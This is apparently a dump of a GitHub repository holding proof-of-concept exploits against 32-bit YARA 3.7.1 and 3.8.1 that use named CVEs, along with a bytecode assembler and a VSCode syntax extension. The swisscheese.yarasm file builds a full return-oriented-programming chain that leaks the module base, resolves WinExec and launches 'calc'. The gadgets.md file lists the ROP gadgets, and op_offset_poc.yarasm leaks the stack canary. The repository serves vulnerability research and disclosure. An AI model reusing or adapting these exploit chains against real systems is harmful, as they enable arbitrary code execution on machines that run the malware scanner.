├── requirements.txt ├── .gitignore ├── example.gif ├── example2.gif ├── extracheese.rule ├── swisscheese.rule ├── op_offset_poc.rule ├── yarasm-syntax ├── example.png ├── README.md ├── example.yarasm ├── .vscode │ └── launch.json ├── language-configuration.json ├── package.json └── syntaxes │ └── yarasm.tmLanguage.json ├── README.md ├── gadgets.md ├── op_offset_poc.yarasm ├── swisscheese.yarasm ├── yara_hash.py ├── assembler.py ├── yara_types.py ├── extracheese.yarasm └── yara.bt /requirements.txt: -------------------------------------------------------------------------------- 1 | typedef 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.exe 3 | -------------------------------------------------------------------------------- /example.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/example.gif -------------------------------------------------------------------------------- /example2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/example2.gif -------------------------------------------------------------------------------- /extracheese.rule: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/extracheese.rule -------------------------------------------------------------------------------- /swisscheese.rule: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/swisscheese.rule -------------------------------------------------------------------------------- /op_offset_poc.rule: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/op_offset_poc.rule -------------------------------------------------------------------------------- /yarasm-syntax/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bnbdr/swisscheese/HEAD/yarasm-syntax/example.png -------------------------------------------------------------------------------- /yarasm-syntax/README.md: -------------------------------------------------------------------------------- 1 | # YARASM Syntax Highlighting for VSCode 2 | 3 | Copy this folder to `%USERPROFILE%\.vscode\extensions\` 4 | 5 | 6 | ![](example.png) 7 | 8 | 9 | -------------------------------------------------------------------------------- /yarasm-syntax/example.yarasm: -------------------------------------------------------------------------------- 1 | ; ============= example ============= 2 | 3 | OP_PUSH raw 0x38 ; immediate 4 | OP_IMPORT ascii "pe" ; 5 | OP_PUSH_M raw 1 ; m[1] 6 | 7 | 8 | -------------------------------------------------------------------------------- /yarasm-syntax/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | // A launch configuration that launches the extension inside a new window 2 | { 3 | "version": "0.1.0", 4 | "configurations": [ 5 | { 6 | "name": "Launch Extension", 7 | "type": "extensionHost", 8 | "request": "launch", 9 | "runtimeExecutable": "${execPath}", 10 | "args": ["--extensionDevelopmentPath=${workspaceRoot}" ] 11 | } 12 | ] 13 | } -------------------------------------------------------------------------------- /yarasm-syntax/language-configuration.json: -------------------------------------------------------------------------------- 1 | { 2 | "comments": { 3 | // symbol used for single line comment. Remove this entry if your language does not support line comments 4 | "lineComment": ";", 5 | }, 6 | // symbols used as brackets 7 | "brackets": [ 8 | ], 9 | // symbols that are auto closed when typing 10 | "autoClosingPairs": [ 11 | ["\"", "\""], 12 | ], 13 | // symbols that that can be used to surround a selection 14 | "surroundingPairs": [ 15 | ["'", "'"] 16 | ] 17 | } -------------------------------------------------------------------------------- /yarasm-syntax/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "yarasm", 3 | "displayName": "YARAsm", 4 | "description": "Syntax highlighting for YARA bytecode assembly", 5 | "version": "0.0.1", 6 | "publisher": "bnbdr", 7 | "engines": { 8 | "vscode": "^1.5.0" 9 | }, 10 | "categories": [ 11 | "Languages" 12 | ], 13 | "contributes": { 14 | "languages": [{ 15 | "id": "yarasm", 16 | "aliases": ["yarasm", "yarasm"], 17 | "extensions": [".yarasm", ".y"], 18 | "configuration": "./language-configuration.json" 19 | }], 20 | "grammars": [{ 21 | "language": "yarasm", 22 | "scopeName": "source.yarasm", 23 | "path": "./syntaxes/yarasm.tmLanguage.json" 24 | }] 25 | } 26 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC YARA Exploits 2 | 3 | - 3.7.1 32 bit using `CVE-2018-12034` and `CVE-2018-12035` ([write-up](//bnbdr.github.io/posts/swisscheese/)). 4 | - 3.8.1 32 bit using `CVE-2018-19974`, `CVE-2018-19975` and `CVE-2018-19976` ([write-up](//bnbdr.github.io/posts/extracheese/)) 5 | 6 | ![](example2.gif) 7 | 8 | 9 | ## YARASM Syntax Highlighting for VSCode 10 | Install by copying `yarasm-syntax` folder to `%USERPROFILE%\.vscode\extensions\` 11 | 12 | ![](yarasm-syntax/example.png) 13 | 14 | ## Usage 15 | ```bat 16 | usage: build.py [-h] [-y YARA_ASM] [-v {3.8.1,3.7.1}] [-o OUTPUT] 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | -y YARA_ASM, --yara-asm YARA_ASM 21 | yara asm file, defaults to "extracheese.yarasm" 22 | -v {3.8.1,3.7.1}, --target-version {3.8.1,3.7.1} 23 | yara version 24 | -o OUTPUT, --output OUTPUT 25 | defaults to "extracheese.rule" 26 | ``` 27 | 28 | -------------------------------------------------------------------------------- /yarasm-syntax/syntaxes/yarasm.tmLanguage.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "yarasm", 3 | "patterns": [ 4 | { 5 | "include": "#keywords" 6 | }, 7 | { 8 | "include": "#date" 9 | } 10 | ], 11 | "repository": { 12 | "keywords": { 13 | "patterns": [ 14 | { 15 | "name":"string", 16 | "match": "(\\+)" 17 | }, 18 | { 19 | "name": "keyword.yarasm", 20 | "match": "(raw|reloc|ascii|wide)" 21 | }, 22 | { 23 | "name": "constant.regexp", 24 | "match": "(OP_UINT8BE|OP_UINT8|OP_UINT32BE|OP_UINT32|OP_UINT16BE|OP_UINT16|OP_SWAPUNDEF|OP_STR_TO_BOOL|OP_STR_NEQ|OP_STR_LT|OP_STR_LE|OP_STR_GT|OP_STR_GE|OP_STR_EQ|OP_SHR|OP_SHL|OP_PUSH_RULE|OP_PUSH_M|OP_PUSH|OP_POP_M|OP_POP|OP_OR|OP_OFFSET|OP_OF|OP_OBJ_VALUE|OP_OBJ_LOAD|OP_OBJ_FIELD|OP_NOT|OP_NOP|OP_MOD|OP_MATCH_RULE|OP_MATCHES|OP_LOOKUP_DICT|OP_LENGTH|OP_JTRUE|OP_JNUNDEF|OP_JLE|OP_JFALSE|OP_INT_TO_DBL|OP_INT_SUB|OP_INT_NEQ|OP_INT_MUL|OP_INT_MINUS|OP_INT_LT|OP_INT_LE|OP_INT_GT|OP_INT_GE|OP_INT_EQ|OP_INT_DIV|OP_INT_ADD|OP_INT8BE|OP_INT8|OP_INT32BE|OP_INT32|OP_INT16BE|OP_INT16|OP_INIT_RULE|OP_INDEX_ARRAY|OP_INCR_M|OP_IMPORT|OP_HALT|OP_FOUND_IN|OP_FOUND_AT|OP_FOUND|OP_FILESIZE|OP_ERROR|OP_ENTRYPOINT|OP_DBL_SUB|OP_DBL_NEQ|OP_DBL_MUL|OP_DBL_MINUS|OP_DBL_LT|OP_DBL_LE|OP_DBL_GT|OP_DBL_GE|OP_DBL_EQ|OP_DBL_DIV|OP_DBL_ADD|OP_COUNT|OP_CONTAINS|OP_CLEAR_M|OP_CALL|OP_BITWISE_XOR|OP_BITWISE_OR|OP_BITWISE_NOT|OP_BITWISE_AND|OP_AND|OP_ADD_M)" 25 | } 26 | ] 27 | }, 28 | "date": { 29 | "patterns": [{ 30 | "match": ";.*", 31 | "captures": { 32 | "0": { 33 | "name": "comment.yarasm" 34 | } 35 | } 36 | }, 37 | { 38 | "match": "(0x[0-9a-fA-F]+)|([0-9a-fA-F]+h)", 39 | "captures": { 40 | "0": { 41 | "name": "constant.numeric.hex" 42 | } 43 | } 44 | }, 45 | { 46 | "match": "([0-9]+)", 47 | "captures": { 48 | "0": { 49 | "name": "constant.numeric" 50 | }, 51 | "1":{ 52 | } 53 | 54 | } 55 | }, 56 | { 57 | "match": "\".*\"", 58 | "captures": { 59 | "0": { 60 | "name": "string.yarasm" 61 | } 62 | } 63 | } 64 | ] 65 | } 66 | }, 67 | "scopeName": "source.yarasm" 68 | } -------------------------------------------------------------------------------- /gadgets.md: -------------------------------------------------------------------------------- 1 | ```asm 2 | .text:00051108 FF 15 BC 90 AB 00 call ds:GetModuleHandleExW 3 | .text:0005110E 48 dec eax 4 | .text:0005110F F7 D8 neg eax 5 | .text:00051111 1B C0 sbb eax, eax 6 | .text:00051113 40 inc eax 7 | .text:00051114 59 pop ecx 8 | .text:00051115 C3 retn 9 | .text:00051115 sub_A410B0 endp 10 | .text:00A41115 11 | ``` 12 | ```asm 13 | .text:00A27995 8B 44 81 40 mov eax, [ecx+eax*4+40h] 14 | .text:00A27999 C3 retn 15 | ``` 16 | ```asm 17 | .text:009F5E29 8B C1 mov eax, ecx 18 | .text:009F5E2B 5D pop ebp 19 | .text:009F5E2C C3 retn 20 | ``` 21 | ```asm 22 | .text:00A1A1E0 8B 44 24 04 mov eax, [esp+arg_0] ; +4 23 | .text:00A1A1E4 85 C0 test eax, eax 24 | .text:00A1A1E6 75 04 jnz short loc_A1A1EC 25 | .text:00A1A1EC 8B 00 mov eax, [eax] 26 | .text:00A1A1EE C3 retn 27 | ``` 28 | ```asm 29 | .text:00A268CA 8B D0 mov edx, eax 30 | .text:00A268CC 33 C0 xor eax, eax 31 | .text:00A268CE 83 FA FF cmp edx, 0FFFFFFFFh 32 | .text:00A268D1 0F 95 C0 setnz al 33 | .text:00A268D4 89 11 mov [ecx], edx 34 | .text:00A268D6 C3 retn 35 | ``` 36 | ```asm 37 | .text:00A3CA6D 89 54 24 04 mov [esp+arg_0], edx 38 | .text:00A3CA71 FF E0 jmp eax 39 | ``` 40 | ```asm 41 | .text:009F1A61 59 pop ecx 42 | .text:009F1A62 C3 retn 43 | ``` 44 | ```asm 45 | .text:00A001E4 FF D0 call eax ; sub_A05880 46 | .text:00A001E6 83 C4 04 add esp, 4 47 | .text:00A001E9 5F pop edi 48 | .text:00A001EA 5E pop esi 49 | .text:00A001EB 5B pop ebx 50 | .text:00A001EC 5D pop ebp 51 | .text:00A001ED C3 retn 52 | ``` -------------------------------------------------------------------------------- /op_offset_poc.yarasm: -------------------------------------------------------------------------------- 1 | ; ============= example of canary leak using OP_OFFSET ============= 2 | ; @@@ tested on Win 10.0.17134.407, yara 3.8.1 WoW64 @@@@ 3 | 4 | ; OP_OFFSET expects a YR_STRING object to be on TOS and deref's its "head" member(YR_MATCH*). 5 | 6 | ; passing a slightly shifted pointer to a `yobj`(using OP_OBJ_LOAD) causes OP_OFFSET to access that yobj's parent. 7 | ; Thus the result on TOS will be the addition of the canary with the pointer to the parent's name. 8 | 9 | ; By subrtracting the parent-yobj address from the result(with a small dif, accounting for heap header) I can calculate the canary's value. 10 | ; This is possiblee because when the object is created there are two consecutive allocations for the struct and the objects identifier. 11 | ; The two allocations end up one after the other. 12 | 13 | ; basically the following correlates in memory: 14 | ;-------------------------------------------------------- 15 | ; OBJECT_COMMON_FIELDS | YR_MATCH 16 | ;______________________________|_________________________ 17 | ; int canary | int64_t base 18 | ; int8_t type | 19 | ; const char* identifier | int64_t offset 20 | ; YR_OBJECT* parent | 21 | ;-------------------------------------------------------- 22 | 23 | ; ============= start ============= 24 | OP_PUSH raw 1 ; for OP_OFFSET primitive, to stop the search 25 | OP_IMPORT ascii "pe" ; add `pe` module to hashtable, this will cause the relevant allocations to happen 26 | 27 | OP_OBJ_LOAD ascii "pe" ; load address of module obj to stack 28 | OP_POP_M raw 8 ; store for later 29 | OP_PUSH_M raw 8 30 | OP_OBJ_FIELD ascii "is_dll" ; will be used to read its parent's canary and identifier ('pe' module) 31 | OP_PUSH raw 52 32 | OP_INT_SUB 33 | OP_OFFSET 34 | 35 | ; get rid of the object type high-dword 36 | OP_PUSH raw 0xFFFFFFFF 37 | OP_BITWISE_AND 38 | 39 | ; calculate diff from "pe" module pointer (in heap) to its module name ("pe"), also on the heap 40 | OP_PUSH_M raw 8 41 | OP_INT_SUB 42 | 43 | ; TODO: when debugging it can be 0x30 sometimes, otherwise 0x20 44 | OP_PUSH raw 0x20 ; sizeof(heap header) + sizeof(YR_OBJECT_STRUCTURE) 45 | OP_INT_SUB 46 | 47 | ; reverse the addition made by OP_OFFSET 48 | OP_PUSH raw 0x7FFF ; RAND_MAX 49 | OP_BITWISE_AND 50 | 51 | 52 | ; ============= compare canary to OP_COUNT primitive ============= 53 | OP_PUSH_M raw 8 54 | OP_PUSH raw 0x38 ; offset for absolute read 55 | OP_INT_SUB 56 | OP_COUNT ; read canary to stack 57 | OP_PUSH raw 0xFFFFFFFF ; just in case it was signed extended to 64bit 58 | OP_BITWISE_AND 59 | 60 | ; stack should be [canary, canary] 61 | OP_INT_EQ 62 | OP_JTRUE reloc +1 63 | OP_HALT ; treat this as assert 64 | 65 | ; clenaup result 66 | OP_POP 67 | 68 | OP_NOP 69 | OP_HALT 70 | 71 | 72 | -------------------------------------------------------------------------------- /swisscheese.yarasm: -------------------------------------------------------------------------------- 1 | 2 | ; I have 18 DWORDS on the stack. then a pointer i mustt touch, then whatever i want 3 | ; so 9 QWORDS 4 | 5 | OP_PUSH_M raw 0x11 6 | OP_PUSH raw 0xFFFFFFFF 7 | OP_BITWISE_AND 8 | ; stack: [orig retaddr] 9 | OP_PUSH raw 0x38F2 ; offset of orig retaddr from base 10 | OP_INT_SUB 11 | OP_POP_M raw 0 ; save base address to Mem 12 | ; mem: [baseaddr], stack:[] 13 | 14 | ; -------------------------------------------------------------------- 15 | ; end of init 16 | ; -------------------------------------------------------------------- 17 | 18 | 19 | ; write QWORD 1 20 | ; add base to gadget offset 21 | OP_PUSH_M raw 0 22 | OP_PUSH raw 0x51108 ; :call GetModuleHandleExW 23 | OP_INT_ADD 24 | OP_PUSH raw 2 ; GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT 25 | 26 | OP_PUSH raw 32 27 | OP_SHL 28 | OP_BITWISE_OR 29 | OP_POP_M raw 0x11 30 | 31 | 32 | 33 | ; write QWORD 2 34 | OP_PUSH wide "kernel32" 35 | OP_PUSH reloc 0 ; some random address here 36 | 37 | OP_PUSH raw 32 38 | OP_SHL 39 | OP_BITWISE_OR 40 | OP_POP_M raw 0x12 41 | 42 | 43 | ; write QWORD 3 44 | OP_PUSH reloc 0 ; will be put in ecx, used later to not crash 45 | OP_PUSH_M raw 0 46 | OP_PUSH raw 0x5E29 47 | OP_INT_ADD 48 | 49 | OP_PUSH raw 32 50 | OP_SHL 51 | OP_BITWISE_OR 52 | OP_POP_M raw 0x13 53 | 54 | 55 | ; write QWORD 4 56 | OP_PUSH raw 0 ; junk in ebp 57 | OP_PUSH_M raw 0 58 | OP_PUSH raw 0x2a1ec ; offset to mov eax, [eax]; ret 59 | OP_INT_ADD 60 | 61 | OP_PUSH raw 32 62 | OP_SHL 63 | OP_BITWISE_OR 64 | OP_POP_M raw 0x14 ; will put 0 in ebp 65 | 66 | 67 | ; write QWORD 5 68 | 69 | OP_PUSH_M raw 0 ; BASE 70 | OP_PUSH raw 0x368ca ; offset to mov edx,eax;...; mov [ecx],edx; ret - ecx must be a valid pointer 71 | OP_INT_ADD 72 | OP_PUSH_M raw 0 73 | OP_PUSH raw 0x1a61 ; offset to pop ecx, ret 74 | OP_INT_ADD 75 | 76 | OP_PUSH raw 32 77 | OP_SHL 78 | OP_BITWISE_OR 79 | OP_POP_M raw 0x15 80 | 81 | 82 | 83 | ; cant touch EDX 84 | ; write QWORD 6: 85 | 86 | OP_PUSH_M raw 0 87 | OP_PUSH raw 0xc9064 ; subtracted 44 hex to account for later gadget offset to getprogaddress address 88 | OP_INT_ADD 89 | OP_PUSH_M raw 0 90 | OP_PUSH raw 0x37995 91 | OP_INT_ADD 92 | 93 | OP_PUSH raw 32 94 | OP_SHL 95 | OP_BITWISE_OR 96 | OP_POP_M raw 0x16 97 | 98 | 99 | ; write QWORD 7 - GetProcAddress + target proc 100 | OP_PUSH_M raw 0 101 | OP_PUSH raw 0x4ca6d ; mov esp+4, edx ; (hmodule), jmp eax 102 | OP_INT_ADD 103 | OP_PUSH_M raw 0 104 | OP_PUSH raw 0x51115 ; :ret ; instead of: raw 0x101eb ; pop ebx, pop ebp; ret 105 | OP_INT_ADD 106 | OP_PUSH raw 32 107 | OP_SHL 108 | OP_BITWISE_OR 109 | OP_POP_M raw 0x17 110 | 111 | 112 | ; write QWORD 8 113 | ; second arg for WinExec + ret address 114 | OP_PUSH raw 0 ; leave room for handle 115 | OP_PUSH ascii "WinExec" 116 | OP_PUSH raw 32 117 | OP_SHL 118 | OP_BITWISE_OR 119 | OP_POP_M raw 0x18 120 | 121 | 122 | OP_PUSH_M raw 0 123 | OP_PUSH raw 0x101e4 ; call eax; 124 | OP_INT_ADD 125 | OP_PUSH ascii "calc" 126 | OP_PUSH raw 32 127 | OP_SHL 128 | OP_BITWISE_OR 129 | OP_POP_M raw 0x19 130 | 131 | 132 | 133 | ; -------------------------------------------------------------------- 134 | ; end of rop 135 | ; -------------------------------------------------------------------- 136 | 137 | OP_NOP 138 | OP_HALT 139 | ; -------------------------------------------------------------------- 140 | ; end of code 141 | ; -------------------------------------------------------------------- 142 | 143 | -------------------------------------------------------------------------------- /yara_hash.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | 4 | 5 | tbl = [0xC3113E7F, 0x4C353C5F, 0x7423810B, 0x258D264E, 0xDAD39DED, 0x75D0B694, 0x98CE1216, 6 | 0x93334482, 0xC5C48EA5, 0xF57E0E8B, 0x5D7F3723, 0x396B1B24, 0xA8883D9F, 0xB2A74A00, 7 | 0xF8E171AE, 0x3F01FBAB, 0x5C1840CB, 0xDDD833C4, 0x8D8CCA34, 0x32EF223A, 0x1A05B871, 8 | 0x9A9B6BFC, 0x50406A0C, 0xE7E1FC04, 0x5E07D7F6, 0x80B83660, 0x20892A62, 0xB2C6FEA6, 9 | 0x6CEC7CAA, 0x182F764B, 0x3B0353E7, 0x57FC2520, 0x4B6812D4, 0xACB654E4, 0x23C75C04, 10 | 0xB1DCD731, 0xE3AF0733, 0xF2366D39, 0xC729671B, 0xFF3BE6F2, 0xABA37E34, 0x3CDAFA38, 11 | 0xAAD18D03, 0xA8D35345, 0x08E9A92C, 0xF9324059, 0x42D821BE, 0x1BC152DD, 0x5588811C, 12 | 0x874A1F9A, 0x6E83E9CD, 0xDA6F3AF8, 0x965D4670, 0xA7A565C0, 0x68D8A9AF, 0xFC8FD8FD, 13 | 0x8FF99FF9, 0x4C9B42AE, 0x2D066A8D, 0x4D1802F7, 0x557032B2, 0x12BCF371, 0xDC29D5AE, 14 | 0x72EA361F, 0xE2835B0B, 0xDFC58966, 0x13B0F34D, 0x3FA02BCD, 0xBF282E3D, 0x7DC877F5, 15 | 0xF4848A32, 0x861E35F5, 0x7FFA0D7F, 0x515F2E4E, 0x6B235D5C, 0x55F46E24, 0x35AD2C99, 16 | 0x072654A8, 0x05163F0F, 0x9317B11A, 0xAED1FC10, 0x989444F0, 0xDB3E1814, 0x446C0CF1, 17 | 0x660BF511, 0x2F227D3A, 0xFDBA0539, 0xC649E621, 0x5204D7CE, 0x5FA386D0, 0xE5F22005, 18 | 0x97B6C8A1, 0x4AB69EC2, 0x5C7CA70D, 0x39A48EC6, 0x7BACF378, 0x8D0ED3D1, 0xE39DE582, 19 | 0xC5FBE2AB, 0x37E3D2D0, 0x06F44724, 0x73144144, 0xBA57E905, 0xB05B4307, 0xAEED8D97, 20 | 0xA68CCAC4, 0xE30DA57E, 0xED0F194B, 0x8C2B9B7A, 0x814575D5, 0x79588493, 0x81D3712A, 21 | 0x3FA892F2, 0x80F0BB94, 0x44EAF51A, 0x4E05F1D4, 0xFC69F858, 0x775E8D60, 0x22B20DD7, 22 | 0x170A87EA, 0x1077DE52, 0x3D5EC9FB, 0x0B6EB1E5, 0xF2F9CCAF, 0xA76C7DEB, 0xD8C2D873, 23 | 0xF438C592, 0x6239FEEC, 0x26D3D2A9, 0x30F6FADF, 0x4B2984CC, 0x6257F3DA, 0x0E0583E2, 24 | 0x143E5E61, 0xBB2732BF, 0x9653217A, 0x027A84EA, 0x95C9AE8B, 0x89B8B82B, 0x9F286485, 25 | 0x29F622FE, 0x52A3196B, 0x8392D95F, 0x33A79167, 0xF5DEE92A, 0x6E397DB9, 0x11931C01, 26 | 0x8DD2CD3B, 0xF9E6003D, 0xAB955AF4, 0xD38725F9, 0xDCF6F8AE, 0x7667A958, 0xE67AD995, 27 | 0xB7CF979A, 0xD88EBE5B, 0x5BA889F0, 0x078BDD90, 0x447238F9, 0x3135F672, 0x187B95A8, 28 | 0x0B7D5751, 0xACD59D2A, 0x9C5D1929, 0x579E5022, 0xEA90499B, 0x59901800, 0x82237DB5, 29 | 0x7A375509, 0xACA9A22A, 0xEC96E649, 0x69339DB0, 0x081D0D9B, 0xD72FB8B9, 0xA4184653, 30 | 0xC057321D, 0xED19CAB9, 0xB48F1E3E, 0xB9DAC51E, 0xDAED2FC7, 0x7598CBBD, 0x208DF346, 31 | 0x044BE6EC, 0x1C63E6EB, 0xA15F64C1, 0xE024A061, 0x68309584, 0x0758A68D, 0xF274E9AE, 32 | 0x0ABEA0CC, 0xED4FB267, 0x63D6EC46, 0x9F28E026, 0xF0694A17, 0x9D6E9115, 0xC4600FAD, 33 | 0x5B121E99, 0xD6B4A13B, 0xF5364B8A, 0x8514B254, 0x0182F8DD, 0xDB09F90B, 0x78C70B32, 34 | 0xD8EC3B02, 0x8CD7084D, 0xA4439838, 0x72F35A3D, 0x200B48A5, 0xE2351444, 0xA5552F5F, 35 | 0xD8C1E746, 0x0FE5EF3C, 0xB6A47063, 0x61F4E68B, 0x08FED99B, 0x7E461445, 0x43CB8380, 36 | 0x28BA03C8, 0x21A7A2E2, 0x43437ED6, 0x2A9E6670, 0x89B4A106, 0xC6C2F4EE, 0x9C4063CC, 37 | 0x2FA0DF6C, 0xB54DC409, 0xCF01538F, 0x616431D7, 0x02CB0E4D, 0x44FFF425, 0xAAD5188E, 38 | 0x0742E9BC, 0xFFF41353, 0x130F0A15, 0x787BDC10, 0x4A327B72, 0x702989F7, 0x5F704798, 39 | 0x8156A1BB, 0x2BCA3E74, 0x1911A8C4, 0x5E1F27D3, 0x07949DC7, 0xF24C2056, 0xB4299EE6, 40 | 0x9C7045D9, 0xA8BF6307, 0x7454AAD2, 0x256425E5, 0xD87DEF67, 0xCFE95452, 0xE7548DF7, 41 | 0xA84956C7, 0xD8402C60, 0xCFBD0373, 0x6B6CDAFE] 42 | 43 | 44 | def rotl32(x, shift): 45 | shift = shift % 32 46 | othershift = (-shift & 31) 47 | a = (x << shift) & 0xFFFFFFFF 48 | b = (x >> othershift) & 0xFFFFFFFF 49 | return a | b 50 | 51 | 52 | def yr_hash(data, seed=0): 53 | i = len(data) - 1 54 | result = seed 55 | for b in data: 56 | b = ord(b) 57 | result ^= rotl32(tbl[b], i) 58 | i -= 1 59 | 60 | return result 61 | 62 | 63 | if __name__ == '__main__': 64 | f = open(sys.argv[1], 'rb') 65 | hdr = f.read(12) 66 | h = yr_hash(hdr) 67 | datalen = struct.unpack('I', hdr[4:8])[0] 68 | data = f.read(datalen) 69 | h = yr_hash(data, h) 70 | print '0x{:08X}'.format(h) -------------------------------------------------------------------------------- /assembler.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from io import BytesIO, StringIO 3 | 4 | opcodes = { 5 | 'OP_ADD_M': (32, 1), 6 | 'OP_AND': (1, 0), 7 | 'OP_BITWISE_AND': (5, 0), 8 | 'OP_BITWISE_NOT': (4, 0), 9 | 'OP_BITWISE_OR': (6, 0), 10 | 'OP_BITWISE_XOR': (7, 0), 11 | 'OP_CALL': (15, 1), 12 | 'OP_CLEAR_M': (31, 1), 13 | 'OP_CONTAINS': (40, 0), 14 | 'OP_COUNT': (20, 0), 15 | 'OP_DBL_ADD': (126, 0), 16 | 'OP_DBL_DIV': (129, 0), 17 | 'OP_DBL_EQ': (120, 0), 18 | 'OP_DBL_GE': (125, 0), 19 | 'OP_DBL_GT': (123, 0), 20 | 'OP_DBL_LE': (124, 0), 21 | 'OP_DBL_LT': (122, 0), 22 | 'OP_DBL_MINUS': (130, 0), 23 | 'OP_DBL_MUL': (128, 0), 24 | 'OP_DBL_NEQ': (121, 0), 25 | 'OP_DBL_SUB': (127, 0), 26 | 'OP_ENTRYPOINT': (39, 0), 27 | 'OP_ERROR': (0, 0), 28 | 'OP_FILESIZE': (38, 0), 29 | 'OP_FOUND': (22, 0), 30 | 'OP_FOUND_AT': (23, 0), 31 | 'OP_FOUND_IN': (24, 0), 32 | 'OP_HALT': (255, 0), 33 | 'OP_IMPORT': (42, 1), 34 | 'OP_INCR_M': (30, 1), 35 | 'OP_INDEX_ARRAY': (19, 0), 36 | 'OP_INIT_RULE': (28, 2), 37 | 'OP_INT16': (241, 0), 38 | 'OP_INT16BE': (247, 0), 39 | 'OP_INT32': (242, 0), 40 | 'OP_INT32BE': (248, 0), 41 | 'OP_INT8': (240, 0), 42 | 'OP_INT8BE': (246, 0), 43 | 'OP_INT_ADD': (106, 0), 44 | 'OP_INT_DIV': (109, 0), 45 | 'OP_INT_EQ': (100, 0), 46 | 'OP_INT_GE': (105, 0), 47 | 'OP_INT_GT': (103, 0), 48 | 'OP_INT_LE': (104, 0), 49 | 'OP_INT_LT': (102, 0), 50 | 'OP_INT_MINUS': (110, 0), 51 | 'OP_INT_MUL': (108, 0), 52 | 'OP_INT_NEQ': (101, 0), 53 | 'OP_INT_SUB': (107, 0), 54 | 'OP_INT_TO_DBL': (11, 1), 55 | 'OP_JFALSE': (44, 1), 56 | 'OP_JLE': (37, 1), 57 | 'OP_JNUNDEF': (36, 1), 58 | 'OP_JTRUE': (45, 1), 59 | 'OP_LENGTH': (21, 0), 60 | 'OP_LOOKUP_DICT': (43, 0), 61 | 'OP_MATCHES': (41, 0), 62 | 'OP_MATCH_RULE': (29, 1), 63 | 'OP_MOD': (10, 0), 64 | 'OP_NOP': (254, 0), 65 | 'OP_NOT': (3, 0), 66 | 'OP_OBJ_FIELD': (18, 1), 67 | 'OP_OBJ_LOAD': (16, 1), 68 | 'OP_OBJ_VALUE': (17, 0), 69 | 'OP_OF': (26, 0), 70 | 'OP_OFFSET': (25, 0), 71 | 'OP_OR': (2, 0), 72 | 'OP_POP': (14, 0), 73 | 'OP_POP_M': (33, 1), 74 | 'OP_PUSH': (13, 1), 75 | 'OP_PUSH_M': (34, 1), 76 | 'OP_PUSH_RULE': (27, 1), 77 | 'OP_SHL': (8, 0), 78 | 'OP_SHR': (9, 0), 79 | 'OP_STR_EQ': (140, 0), 80 | 'OP_STR_GE': (145, 0), 81 | 'OP_STR_GT': (143, 0), 82 | 'OP_STR_LE': (144, 0), 83 | 'OP_STR_LT': (142, 0), 84 | 'OP_STR_NEQ': (141, 0), 85 | 'OP_STR_TO_BOOL': (12, 0), 86 | 'OP_SWAPUNDEF': (35, 1), 87 | 'OP_UINT16': (244, 0), 88 | 'OP_UINT16BE': (250, 0), 89 | 'OP_UINT32': (245, 0), 90 | 'OP_UINT32BE': (251, 0), 91 | 'OP_UINT8': (243, 0), 92 | 'OP_UINT8BE': (249, 0)} 93 | 94 | 95 | def get_string_buf(val, t): 96 | sbuf = b'' 97 | assert t in ['wide', 'ascii'], "bad type {}".format(t) 98 | 99 | separator = '' 100 | if t == 'wide': 101 | separator = '\0' 102 | 103 | val = val[1:-1] # remove quoates from buffer 104 | for c in val: 105 | sbuf += c+separator 106 | 107 | sbuf += '\0' + separator 108 | return sbuf 109 | 110 | def make_c_str(s): 111 | return get_string_buf("'{}'".format(s), 'ascii') 112 | 113 | def make_wide_c_str(s): 114 | return get_string_buf("'{}'".format(s), 'wide') 115 | 116 | class YaraAssembler(object): 117 | END_OF_CODE = opcodes['OP_HALT'] 118 | 119 | @classmethod 120 | def build(cls, source, preprocessor={}, version=None): 121 | return cls._build(opcodes, source.splitlines(), preprocessor, version) 122 | 123 | @classmethod 124 | def _build(cls, opcodes, inf, preprocessor, version): 125 | 126 | comment = ';' 127 | lc = 0 128 | strings = [] 129 | ouf = BytesIO() 130 | relocs = [] 131 | 132 | for l in inf: 133 | lc += 1 134 | lparts = l.split() 135 | 136 | if not l or l[0] == comment: 137 | continue 138 | lparts = lparts[:lparts.index( 139 | comment)] if comment in lparts else lparts 140 | if not lparts: 141 | continue 142 | 143 | assert len(lparts) in [ 144 | 1, 3, 5], 'unsupported line {} {}'.format(lc, lparts) 145 | opname = lparts[0] 146 | operands = [] 147 | 148 | assert opname.startswith( 149 | 'OP_'), 'not beginning with opcode {}: {}'.format(lc, lparts) 150 | assert opname in opcodes, 'not in opcode table {}: {}'.format( 151 | lc, lparts) 152 | 153 | val, operand_count = opcodes[opname] 154 | 155 | for i in range(1, len(lparts), 2): 156 | m = lparts[i].lower() 157 | v = lparts[i+1] 158 | assert m in ['raw', 'reloc', 'ascii', 'wide'], 'unsupported mode: `{}` {} {}'.format( 159 | m, lc, lparts) 160 | 161 | reloc_addr = ouf.tell() + 1 + ((i-1)*8) 162 | if m in ['ascii', 'wide']: 163 | relocs.append(reloc_addr) 164 | strings.append( 165 | (reloc_addr, get_string_buf(v, m))) 166 | v = 0 # to be patched later 167 | else: 168 | v = int(v, 0) 169 | if m == 'reloc': 170 | if lparts[i+1][0] in ['+']: # support for jmps relative (in bytes) 171 | v+= reloc_addr + operand_count*8 172 | relocs.append(reloc_addr) 173 | operands.append(v) 174 | 175 | 176 | assert len(operands) == operand_count, 'bad operand count @ {}:"{}"'.format(lc, l) 177 | 178 | form = ' 1: 181 | form += str(operand_count) 182 | assert len(operands) == operand_count,'ff' 183 | form += 'Q' 184 | 185 | if len(lparts) > 2: 186 | assert lparts[1] 187 | buf = struct.pack(form, val, *operands) 188 | ouf.write(buf) 189 | 190 | eob = ouf.tell() 191 